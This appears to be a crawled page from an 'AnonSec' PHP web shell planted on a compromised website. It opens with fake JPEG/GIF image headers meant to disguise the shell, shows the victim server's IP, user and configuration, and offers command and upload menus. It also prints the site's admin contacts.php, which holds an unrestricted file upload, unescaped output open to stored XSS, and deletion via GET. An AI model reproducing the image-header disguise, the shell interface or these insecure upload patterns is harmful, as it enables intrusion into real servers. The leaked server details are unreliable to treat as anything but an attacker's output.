����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 13.59.88.8
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mhmsfzcs/vflyorions.com/admin/assets/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mhmsfzcs/vflyorions.com/admin/assets/../contacts.php
<?php 

include 'db.php';
include 'header.php'; 
include 'sidebar.php'; 


$image='';
if (isset($_POST['change']))
{
  $id=$_POST['id'];
  $heading=$_POST['heading'];
  $f=$_POST['f_description'];
  $s=$_POST['s_description'];
  $price=$_POST['price'];
  $c=$_POST['curriculum'];
  $newimage=$_FILES['newimage']['name'];
   
    //  $image=$_POST['image'];
    $oldimage=$_POST['oldimage'];
   
    
  if (isset($_FILES['newimage']['name'])&&($_FILES['newimage']['name']!="")){
  $newimage=$_FILES['newimage']['name'];
   // unlink($oldimage);
    $destinationfile='assets/course_image/'.$newimage;
    move_uploaded_file($_FILES['newimage']['tmp_name'], $destinationfile);
    
    }
    else{
      $newimage=$oldimage;   
    }
  
 
    $insert2 = $conn->prepare("UPDATE `courses` SET `heading`=?,`short_description`=?,`long_description`=?,`price`=?,`image`=?,`curriculum`=? WHERE id=?" );
      
   
    $insert2->bind_param("sssssss",$heading,$s,$f,$price,$newimage,$c,$id);

       $res=$insert2->execute(); 
       if($res)
       {
               $_SESSION['status']="Updated Successfully";
               $_SESSION['status_code']="success";
       }
       else
       {
            //   $_SESSION['status']="Oops something went wrong!!";
            //   $_SESSION['status_code']="error";
       }    
  
}

if(isset($_GET['delete']))
             {
                   $ad=$_GET['delete'];
                   $query=$conn->prepare("delete from courses where id =?");
                   $query->bind_param("s",$ad);
                   $res=$query->execute();
                  
                    if($res)
                    {
                         $_SESSION['status']="User Deleted Successfully";
                         $_SESSION['status_code']="success";
                    }
                    else
                    {
                         $_SESSION['status']="Oops something went wrong!!";
                         $_SEESION['status_code']="error";
                    }
             }


?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <div class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1 class="m-0">Dashboard</h1>
          </div><!-- /.col -->
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Dashboard</li>
            </ol>
          </div><!-- /.col -->
        </div><!-- /.row -->
      </div><!-- /.container-fluid -->
    </div>
    <!-- /.content-header -->

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
          
          
         
        
        
        
               <div class="card">
              <div class="card-header">
                <h3 class="card-title">Contacts</h3>
              </div>
              <!-- /.card-header -->
              <div class="card-body">
                <table id="example1" class="table table-bordered table-striped">
                  <thead>
                  <tr>
                    <th>Sr. No.</th>
                    <th>Name</th>
                     <th>Email</th>
                    <th>Phone</th>
                    <th>Subject</th>
                    <th>Message</th>
                    <th>Date</th>
                    <th>Action</th>
                   
                  </tr>
                  </thead>
                  <tbody>
                      
                      
        <?php
        
                      $que="SELECT * From contact ORDER BY id DESC";
                      $r=$conn->query($que);
                      $sr=1;
                      
                      while($row=$r->fetch_assoc())
                      {
                        $id=$row['id']; 
                      ?>
                      
                  <tr>
                    <td><?php echo $sr;?></td>
                    <td><?php echo $row['name'];?></td>
                     <td><?php echo $row['email'];?></td>
                    <td><?php echo $row['phone'];?></td>
                     <td><?php echo $row['subject'];?></td>
                     <td><?php echo $row['msg'];?></td>
                    <td><?php echo $row['date'];?></td>
                    <td><a href="contacts.php?delete=<?= $row['id']; ?>" onclick="return confirm('Are you sure to delete?')" class="btn btn-danger">Delete</a>
                      
                    </td>
        
                  </tr>

                 <?php
                      $sr=$sr+1;}
                 ?>
                 
                  </tbody>
                 
                </table>
              </div>
              <!-- /.card-body -->
            </div>
            <!-- /.card -->
            
            
          </div>
        <!-- /.row -->
      </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
  
  
<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function()
{
$("#site").change(function()
{

var site_id=$(this).val();
var post_id = 'id='+ site_id;

$.ajax
({
type: "POST",
url: "fetch.php",
data: post_id,
cache: false,
success: function(cities)
{

$("#cp").html(cities);
} 
});

});
});
</script>    -->

<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php  if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?>
<script>
   new swal({
   title: "<?php echo $_SESSION['status'];?>",
   //text: "You clicked the button!",
   icon: "<?php echo $_SESSION['status_code'];?>",
   button: "OK",
   }).then(function() {
   window.location = "manage_product.php";
   });
</script>

<?php
   unset($_SESSION['status']);
   }
   ?>


<?php include 'footer.php'; ?>
  

AnonSec - 2021